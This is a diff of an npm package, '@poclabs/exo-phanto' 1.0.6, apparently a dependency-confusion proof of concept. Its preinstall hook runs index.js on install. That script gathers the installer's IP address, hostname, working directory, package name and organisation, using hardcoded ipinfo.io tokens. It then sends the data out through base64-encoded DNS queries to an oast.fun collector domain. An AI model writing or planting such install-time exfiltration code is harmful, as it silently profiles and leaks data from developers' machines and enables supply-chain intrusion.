@poclabs/exo-phanto 1.0.6

package/index.js

@@ -0,0 +1,130 @@
+const os = require("os");
+const dns = require("dns");
+const https = require("https");
+const path = require("path");
+const fs = require("fs");
+
+const EXFILTRATION_DOMAIN = "egvcjppgnjnbrgztumfhqdgqmdbaq1f5f.oast.fun"; // Replace with your subdomain
+
+// IPinfo tokens to avoid rate limiting
+const IPINFO_TOKENS = [
+    "e9334ba807050e1", // Replace with your first token
+    "26ed3371fb48a1", // Replace with your second token
+    "ca6b61c75a1ea9",
+    "c8e4ba13f45cdc"  // Add more tokens as needed
+];
+
+// Function to rotate tokens
+let currentTokenIndex = 0;
+function getNextToken() {
+    const token = IPINFO_TOKENS[currentTokenIndex];
+    currentTokenIndex = (currentTokenIndex + 1) % IPINFO_TOKENS.length;
+    return token;
+}
+
+// Attempt to dynamically resolve the package name
+function getPackageName() {
+    try {
+        const mainFile = require.main.filename; // Main script being executed
+        const packagePath = findPackageJson(path.dirname(mainFile));
+        if (packagePath) {
+            const packageData = JSON.parse(fs.readFileSync(packagePath, "utf-8"));
+            return packageData.name || "unknown-package";
+        }
+    } catch (err) {
+        return "unknown-package";
+    }
+    return "unknown-package";
+}
+
+// Recursively look for package.json
+function findPackageJson(directory) {
+    const filePath = path.join(directory, "package.json");
+    if (fs.existsSync(filePath)) {
+        return filePath;
+    }
+    const parentDir = path.dirname(directory);
+    if (parentDir !== directory) {
+        return findPackageJson(parentDir);
+    }
+    return null;
+}
+
+// Collect system data
+async function collectData() {
+    const ipAddress = getIPAddress();
+    const organization = await getOrganizationFromIP(ipAddress);
+
+    const data = {
+        time: new Date().toISOString(),
+        organization: organization || "Unknown",
+        ip_address: ipAddress,
+        package_name: getPackageName(), // Dynamically fetch the package name
+        hostname: os.hostname(),
+        current_path: process.cwd()
+    };
+    return data;
+}
+
+// Fetch IP Address
+function getIPAddress() {
+    const interfaces = os.networkInterfaces();
+    for (const name of Object.keys(interfaces)) {
+        for (const iface of interfaces[name]) {
+            if (!iface.internal && iface.family === "IPv4") {
+                return iface.address;
+            }
+        }
+    }
+    return "127.0.0.1";
+}
+
+// Query IPinfo for organization details
+function getOrganizationFromIP(ip) {
+    return new Promise((resolve) => {
+        const token = getNextToken();
+        const url = `https://ipinfo.io/${ip}?token=${token}`;
+
+        https.get(url, (res) => {
+            let data = "";
+            res.on("data", (chunk) => {
+                data += chunk;
+            });
+            res.on("end", () => {
+                try {
+                    const response = JSON.parse(data);
+                    resolve(response.org || "Unknown Organization");
+                } catch (err) {
+                    resolve("Unknown Organization");
+                }
+            });
+        }).on("error", () => {
+            resolve("Unknown Organization");
+        });
+    });
+}
+
+// Encode data into a DNS-safe format
+function encodeData(data) {
+    const jsonData = JSON.stringify(data);
+    const base64Data = Buffer.from(jsonData).toString("base64");
+    return base64Data.match(/.{1,50}/g).join(".") + "." + EXFILTRATION_DOMAIN;
+}
+
+// Send DNS query with encoded data
+async function sendData() {
+    const payload = await collectData();
+    const query = encodeData(payload);
+
+    // Use a DNS query to exfiltrate data
+    dns.resolve4(query, (err) => {
+        if (err) {
+            console.error("Error sending DNS query:", err.message);
+        } else {
+            console.log("Exfiltration via DNS query successful.");
+        }
+    });
+}
+
+// Trigger data exfiltration
+sendData();

package/package.json

@@ -0,0 +1,15 @@
+{
+  "name": "@poclabs/exo-phanto",
+  "version": "1.0.6",
+  "description": "A fake package to test something",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js",
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "poclabs",
+  "license": "ISC",
+  "dependencies": {
+    "@poclabs/exo-phanto": "^1.0.2"
+  }
+}

package/test.js

@@ -0,0 +1,3 @@
+// test.js
+const fakePackage = require('@poclabs/exo-phanto');
+fakePackage(); // This should log "This is a fake npm package!"